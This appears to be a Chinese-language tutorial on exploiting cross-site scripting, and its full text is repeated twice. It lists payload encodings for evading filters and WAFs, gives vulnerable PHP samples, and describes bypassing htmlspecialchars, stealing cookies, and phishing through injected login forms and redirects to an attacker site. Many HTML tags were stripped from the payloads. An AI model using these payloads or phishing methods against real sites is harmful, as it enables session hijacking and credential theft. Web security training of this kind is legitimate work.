XSS的利用方式
浏览器的工作原理
访问一个链接(或者刷新一个页面),首先url解码,然后是html解码,
然后是JS解码,然后是DOM渲染。
利用h5的autofocus自动获取焦点
然后用onfocus来执行获取焦点的事件
这里可以用?截断后面的引号,把引号当作参数。
上面这些可以自动弹窗。
click me 正常成功
click me HTML10进制成功
click me HTML 16进制成功
click me JS unicode失败
click me JS unicode成功
click me JS 16进制失败
click me JS 8 进制失败
浏览器中使用
1.xss中最经常用到的编码
html实体编码(10进制与16进制):
如把尖括号编码[ < ] -----> html十进制:
javascript的八进制跟十六进制:
如把尖括号编码[ < ] -----> js八进制:\74 js十六进制:\x3c
jsunicode编码:
如把尖括号编码[ < ] ----->jsunicode:\u003c
url编码:
如把尖括号编码[ < ] -----> url: %3C
base64编码:
base64: PA==
2 各个编码的具体利用场景
(1)base64编码
Data协议使用方法 data:资源类型;编码,内容
到目前为止 我遇到使用base64编码的情况 大多数是这样
在这种情况下 如果过滤了<> ' " javascript 的话 那么要xss可以这样写 然后利用base64编码!
将整条base64编码为PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
下面三组都可行
111
a的利用方式
test
这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64然后单点击a链接时base64的编码就被还原成我们原本的
然后成功弹窗!
(2)html实体编码(10进制(ASCII编码)与16进制)
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的,如这种可以弹窗。
十进制和十六进制编码的分号是可以去掉的。实体编码的数字前可以加上很多的0进行绕过WAF,如
如以下代码可成功执行
οnerrοr="alert('xss')">
=>[空格] : : =>[冒号] =>[换行
HTML5 新增的实体命名编码,如
: => [冒号] => [换行
如click
解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
click
首先html编码被还原出来 然后就成了换行 跟冒号
为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
click 代码成功执行
(3)Javascript编码
Javascript伪协议在属性值中都可以使用, 如111点击111后触发弹窗。
javascript中只识别几种编码:Jsunicode js8进制 js10进制
第一种情况 你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:
eval() setTimeout() setInterval()
以上都是会将字符串当做js代码执行的函数!
第二种情况
var search = "可控点";
document.getElementById().innerHTML=search;
以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ' " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
如 我们改成 然后进行js八进制编码==>
\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76
然后服务器端接受后 经过过滤器 没有发现该过滤的就进入到了innerHTML中
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!
(4)URL编码
Javascript:伪协议后面可以使用URL编码。
如:click me可成功执行弹窗
可用img就不行:
因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
click me
由于entity编码允许之后插入任意多个0,再利用上javascript的注释混淆后:
click me
3 三种XSS区别:在易用上,存储型XSS > DOM - XSS > 反射型 XSS。
反射型XSS
一般出现在搜索页面
$name = $_GET["name"];
?>
当我们插入”>时成功触发xss
DOM型XSS
简单理解就是它输出点在DOM
新版Chrome针对script context类型的domxss做了检测拦截
error_reporting(0);
$name = $_GET["name"]; ?>
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value;
// 获取text的值,并且输出在print内。这里是导致xss的主要原因。
存储型xss
就是存入了数据库,再取出来,导致的xss
error_reporting(0);
$name = $_GET["name"];
//连接服务器
$conn = mysql_connect("127.0.0.1","root","");
//打开数据库
mysql_select_db("test",$conn);
//执行SQL
mysql_query("set names 'utf8'");
$sql_insert = "insert into liuyan(id,content) values('$id','$name')"; $result = mysql_query($sql_insert,$conn);
$sql_select = "select * from liuyan";
$results = mysql_fetch_array(mysql_query($sql_select));
echo $results[content];
?>
上面这段代码写的比较简洁,可以看到用户可控的$_GET name直接被带入到数据库中,随后被查询并且输出出来了,直接导致了xss。可以做下测试,先通过
http://localhost/2.php?name=%3Cscript%3Ealert(1)%3C/script%3E
步骤一,是为了让xss代码写入数据库,步骤二是为了把恶意代码从数据库取出来并且输出在页面上。
4 各种姿势
111
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
5 入侵方法
攻击者发现xss漏洞->构造代码->发送给受害人->受害人打开->窃取受害人ccookie->完成攻击.
盗取cookie:可以使用现成的xss平台.
如果cookie中的某些关键值加了HttpOnly,那么就可以避免该网页的cookie被客户端的JS存取,也就保护了用户的cookie不被盗取.
当前可见的绕过Httponly的方法大致可以分为两类:一类是服务器配置或功能实现上存在可能被利用的弱点,可归结为服务端的信息泄露。如利用404页、PHPINFO页,Trace方法等绕过HTTPonly;另一类是客户端漏洞或功能上存在可以被利用的弱点,可归结为客户端的信息泄露。如MS08-069、利用ajax或flash读取set-cookie等。
绕过防御
过滤了alert(1)的括号,可以用alert`1` //反引号
利用js字符串模块eval.call`${'\141\154\145\162\164\50\61\51'}`
转换大小写
绕过Php的htmlspecialchars()
Php的htmlspecialchars()默认能将< > &“转成< > & "
如果用了htmlspecialchars($name, ENT_QUOTES); 则’ 也会被转成 '
如果用了 htmlspecialchars ($name, ENT_NOQUOTES);则单双引号都不会被转换。
Js中可用以下代码绕过:
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
Html中可用以下代码绕过:
‘ οnmοuseοver=’alert(1)
源代码是
变成了
2.php源代码
<?php
$name = $_GET["name"];
$name = htmlspecialchars($name);
?>
地址栏输入http://127.0.0.1/2.php?name=’ οnmοuseοver=’alert(1)后回车
然后将鼠标移到那个框框后, 弹出弹窗.
Xss钓鱼(挂马):
(1)xss重定向钓鱼
如自己建一个钓鱼网站www.xiumu.com, 然后受害者访问如下地址http://www.test.com/a.php?id=””>
或者http://www.test.com/a.php?id=””>
(2)HTML注入式钓鱼
直接利用XSS漏洞注射HTML/js代码到页面中.可写一个正常的HTML表单来窃取账号密码.如
这样当用户直接填入账号密码提交后,你就可以在xiumu.php接收到受害者的账号密码了.
Xiumu.php代码:<?php echo $_POST[‘a’]?><?php echo $_POST[‘b’]?>
(3)Xss跨框架钓鱼
这种方式是通过嵌入远程域的一个页面实施钓鱼,http://www.test.com/a.php?id=””>通过将www.xiumu.com的页面做的和test的页面相同(可利用iframe实现),但受害者看到的不是真正的test页面,而是xiumu页面.
(4)Flash钓鱼
甚至不要求网站存在XSS,攻击者将构造的Flash文件(如假冒的登录框)上传到远程服务器,然后在目标网站中使用或标签去引用FLASH即可.
6 参考资料
以上内容总结来自于
XSS的利用方式
浏览器的工作原理
访问一个链接(或者刷新一个页面),首先url解码,然后是html解码,
然后是JS解码,然后是DOM渲染。
利用h5的autofocus自动获取焦点
然后用onfocus来执行获取焦点的事件
这里可以用?截断后面的引号,把引号当作参数。
上面这些可以自动弹窗。
click me 正常成功
click me HTML10进制成功
click me HTML 16进制成功
click me JS unicode失败
click me JS unicode成功
click me JS 16进制失败
click me JS 8 进制失败
浏览器中使用
1.xss中最经常用到的编码
html实体编码(10进制与16进制):
如把尖括号编码[ < ] -----> html十进制:
javascript的八进制跟十六进制:
如把尖括号编码[ < ] -----> js八进制:\74 js十六进制:\x3c
jsunicode编码:
如把尖括号编码[ < ] ----->jsunicode:\u003c
url编码:
如把尖括号编码[ < ] -----> url: %3C
base64编码:
base64: PA==
2 各个编码的具体利用场景
(1)base64编码
Data协议使用方法 data:资源类型;编码,内容
到目前为止 我遇到使用base64编码的情况 大多数是这样
在这种情况下 如果过滤了<> ' " javascript 的话 那么要xss可以这样写 然后利用base64编码!
将整条base64编码为PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
下面三组都可行
111
a的利用方式
test
这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64然后单点击a链接时base64的编码就被还原成我们原本的
然后成功弹窗!
(2)html实体编码(10进制(ASCII编码)与16进制)
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的,如这种可以弹窗。
十进制和十六进制编码的分号是可以去掉的。实体编码的数字前可以加上很多的0进行绕过WAF,如
如以下代码可成功执行
οnerrοr="alert('xss')">
=>[空格] : : =>[冒号] =>[换行
HTML5 新增的实体命名编码,如
: => [冒号] => [换行
如click
解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
click
首先html编码被还原出来 然后就成了换行 跟冒号
为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
click 代码成功执行
(3)Javascript编码
Javascript伪协议在属性值中都可以使用, 如111点击111后触发弹窗。
javascript中只识别几种编码:Jsunicode js8进制 js10进制
第一种情况 你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:
eval() setTimeout() setInterval()
以上都是会将字符串当做js代码执行的函数!
第二种情况
var search = "可控点";
document.getElementById().innerHTML=search;
以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ' " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
如 我们改成 然后进行js八进制编码==>
\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76
然后服务器端接受后 经过过滤器 没有发现该过滤的就进入到了innerHTML中
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!
(4)URL编码
Javascript:伪协议后面可以使用URL编码。
如:click me可成功执行弹窗
可用img就不行:
因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
click me
由于entity编码允许之后插入任意多个0,再利用上javascript的注释混淆后:
click me
3 三种XSS区别:在易用上,存储型XSS > DOM - XSS > 反射型 XSS。
反射型XSS
一般出现在搜索页面
$name = $_GET["name"];
?>
当我们插入”>时成功触发xss
DOM型XSS
简单理解就是它输出点在DOM
新版Chrome针对script context类型的domxss做了检测拦截
error_reporting(0);
$name = $_GET["name"]; ?>
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value;
// 获取text的值,并且输出在print内。这里是导致xss的主要原因。
存储型xss
就是存入了数据库,再取出来,导致的xss
error_reporting(0);
$name = $_GET["name"];
//连接服务器
$conn = mysql_connect("127.0.0.1","root","");
//打开数据库
mysql_select_db("test",$conn);
//执行SQL
mysql_query("set names 'utf8'");
$sql_insert = "insert into liuyan(id,content) values('$id','$name')"; $result = mysql_query($sql_insert,$conn);
$sql_select = "select * from liuyan";
$results = mysql_fetch_array(mysql_query($sql_select));
echo $results[content];
?>
上面这段代码写的比较简洁,可以看到用户可控的$_GET name直接被带入到数据库中,随后被查询并且输出出来了,直接导致了xss。可以做下测试,先通过
http://localhost/2.php?name=%3Cscript%3Ealert(1)%3C/script%3E
步骤一,是为了让xss代码写入数据库,步骤二是为了把恶意代码从数据库取出来并且输出在页面上。
4 各种姿势
111
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
5 入侵方法
攻击者发现xss漏洞->构造代码->发送给受害人->受害人打开->窃取受害人ccookie->完成攻击.
盗取cookie:可以使用现成的xss平台.
如果cookie中的某些关键值加了HttpOnly,那么就可以避免该网页的cookie被客户端的JS存取,也就保护了用户的cookie不被盗取.
当前可见的绕过Httponly的方法大致可以分为两类:一类是服务器配置或功能实现上存在可能被利用的弱点,可归结为服务端的信息泄露。如利用404页、PHPINFO页,Trace方法等绕过HTTPonly;另一类是客户端漏洞或功能上存在可以被利用的弱点,可归结为客户端的信息泄露。如MS08-069、利用ajax或flash读取set-cookie等。
绕过防御
过滤了alert(1)的括号,可以用alert`1` //反引号
利用js字符串模块eval.call`${'\141\154\145\162\164\50\61\51'}`
转换大小写
绕过Php的htmlspecialchars()
Php的htmlspecialchars()默认能将< > &“转成< > & "
如果用了htmlspecialchars($name, ENT_QUOTES); 则’ 也会被转成 '
如果用了 htmlspecialchars ($name, ENT_NOQUOTES);则单双引号都不会被转换。
Js中可用以下代码绕过:
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
Html中可用以下代码绕过:
‘ οnmοuseοver=’alert(1)
源代码是
变成了
2.php源代码
<?php
$name = $_GET["name"];
$name = htmlspecialchars($name);
?>
地址栏输入http://127.0.0.1/2.php?name=’ οnmοuseοver=’alert(1)后回车
然后将鼠标移到那个框框后, 弹出弹窗.
Xss钓鱼(挂马):
(1)xss重定向钓鱼
如自己建一个钓鱼网站www.xiumu.com, 然后受害者访问如下地址http://www.test.com/a.php?id=””>
或者http://www.test.com/a.php?id=””>
(2)HTML注入式钓鱼
直接利用XSS漏洞注射HTML/js代码到页面中.可写一个正常的HTML表单来窃取账号密码.如
这样当用户直接填入账号密码提交后,你就可以在xiumu.php接收到受害者的账号密码了.
Xiumu.php代码:<?php echo $_POST[‘a’]?><?php echo $_POST[‘b’]?>
(3)Xss跨框架钓鱼
这种方式是通过嵌入远程域的一个页面实施钓鱼,http://www.test.com/a.php?id=””>通过将www.xiumu.com的页面做的和test的页面相同(可利用iframe实现),但受害者看到的不是真正的test页面,而是xiumu页面.
(4)Flash钓鱼
甚至不要求网站存在XSS,攻击者将构造的Flash文件(如假冒的登录框)上传到远程服务器,然后在目标网站中使用或标签去引用FLASH即可.
6 参考资料
以上内容总结来自于